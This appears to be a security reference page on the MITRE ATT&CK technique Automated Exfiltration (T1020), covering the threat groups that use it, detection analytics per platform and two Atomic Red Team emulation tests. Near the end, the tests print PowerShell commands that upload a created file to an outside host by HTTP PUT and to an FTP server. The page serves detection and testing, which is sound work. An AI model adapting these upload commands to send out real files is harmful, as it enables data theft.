tfMITRE ATT&CK technique

Automated Exfiltration T1020

Tactic: Exfiltration
Platforms: Linux, macOS, Network Devices, Windows
Version: 1.3
Created: 31 May 2017
Last modified: 12 May 2026
Contributor: ExtraHop

Sub-techniques 115 rules across the family · 14 mapped directly to T1020 · 1 of 1 carry rules

Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 23%

Threat groups77th percentile · 77% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 12%

Campaigns88th percentile · 88% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 17%

Tools & malware83rd percentile · 83% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 18%

Detection rules82nd percentile · 82% of ATT&CK techniques have this many detection rules written or fewer.

Automated Exfiltration MITRE reference T1020

Top 23%of all ATT&CK techniques for number of groups

7 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

RedCurlG1039 ↗

Has used batch scripts to exfiltrate data.1 2

created 2024-09-232 references

Winter VivernG1035 ↗

Delivered a PowerShell script capable of recursively scanning victim machines looking for various file types before exfiltrating identified files via HTTP.1

created 2024-07-291 referenceaka TA473

SidewinderG0121 ↗

Has configured tools to automatically send collected files to attacker controlled servers.1

created 2021-01-271 referenceaka T-APT-04

KimsukyG0094 ↗

Has exfiltrated data to C2 servers using an automated script that executes every 10 minutes and after successful checks for the presence of pre-designated staged filenames.1

created 2019-08-261 referenceaka Black Banshee

Tropic TrooperG0081 ↗

Has used a copy function to automatically exfiltrate sensitive data from air-gapped systems using USB storage.1

created 2019-01-291 referenceaka Pirate Panda

Gamaredon GroupG0047 ↗

Has used modules that automatically upload gathered documents to the C2 server.1

created 2017-05-311 referenceaka IRON TILDEN

All 7 groups for this technique · 6 newest in this preview

Offense vs defense T1020

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 3Sigma rules (cumulative) · 11Splunk ESCU (cumulative) · 3

first rule: 2020 Q1 · 3 of 3 campaigns plotted

Automated Exfiltration detection strategy DET0397

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Automated Exfiltration Detection Strategy

Enterprise

3 platforms

AN1113 · Windows

Detection of automated tools or scripts periodically transmitting data to external destinations using scheduled tasks or background processes.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Used to detect repeated exfil activity over intervals (e.g., every 5 minutes).
DestinationIP	Can be tuned to filter known internal or trusted destinations.

AN1114 · Linux

Background scripts (e.g., via cron) or daemons transmitting data repeatedly to remote IPs or URLs.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve
Network Connection CreationDC0082	NSM:Flow	Outbound Connections

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CronJobInterval	Tunable time range for recurring tasks seen creating outbound connections.
UserContext	Tunable for scope — service accounts vs user accounts.

AN1115 · macOS

Observation of LaunchAgents or LaunchDaemons establishing periodic external connections indicative of automated data transfer.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Scheduled Job CreationDC0001	macos:cron	cron/launchd
Process CreationDC0032	macos:unifiedlog	process: exec
Network Connection CreationDC0082	macos:unifiedlog	network

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
LaunchInterval	Frequency of task recurrence linked to external communication.
DestinationPort	Port number used for detection filtering.

Tests2ExecutorsPowerShell 2Need elevation0 of 2Have prerequisites0Have cleanup2Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

IcedID Botnet HTTP PUT

windows

PowerShell

—

Yes

Creates a text file Tries to upload to a server via HTTP PUT method with ContentType Header Deletes a created file

Input arguments

Name	Type	Default	Description
file	string	C:\temp\T1020_exfilFile.txt	Exfiltration File
domain	url	https://google.com	Destination Domain

Attack command

$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}

Cleanup command

$fileName = "#{file}"
Remove-Item -Path $fileName -ErrorAction Ignore

GUIDc4cb8016-02a6-4aea-b03a-ef341d7bd700

Exfiltration via Encrypted FTP

windows

PowerShell

—

Yes

Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only.

Input arguments

Name	Type	Default	Description
ftpServer	Url	ftp://example.com	FTP server URL.
sampleFile	String	C:\temp\T1020__FTP_sample.txt	Path of the sample file to exfiltrate.
credentials	String	[user:password]	FTP server credentials.

Attack command

$sampleData = "Sample data for exfiltration test"
Set-Content -Path "#{sampleFile}" -Value $sampleData
$ftpUrl = "#{ftpServer}"
$creds = Get-Credential -Credential "#{credentials}"
Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds

Cleanup command

Remove-Item -Path "#{sampleFile}" -ErrorAction Ignore

GUID5f1b8c5f-7e8b-4bfe-9162-0c2dbe8edc46

Tests from Atomic Red Team (MIT licence) · technique definition

Automated Exfiltration detections T1020

14 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 18%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs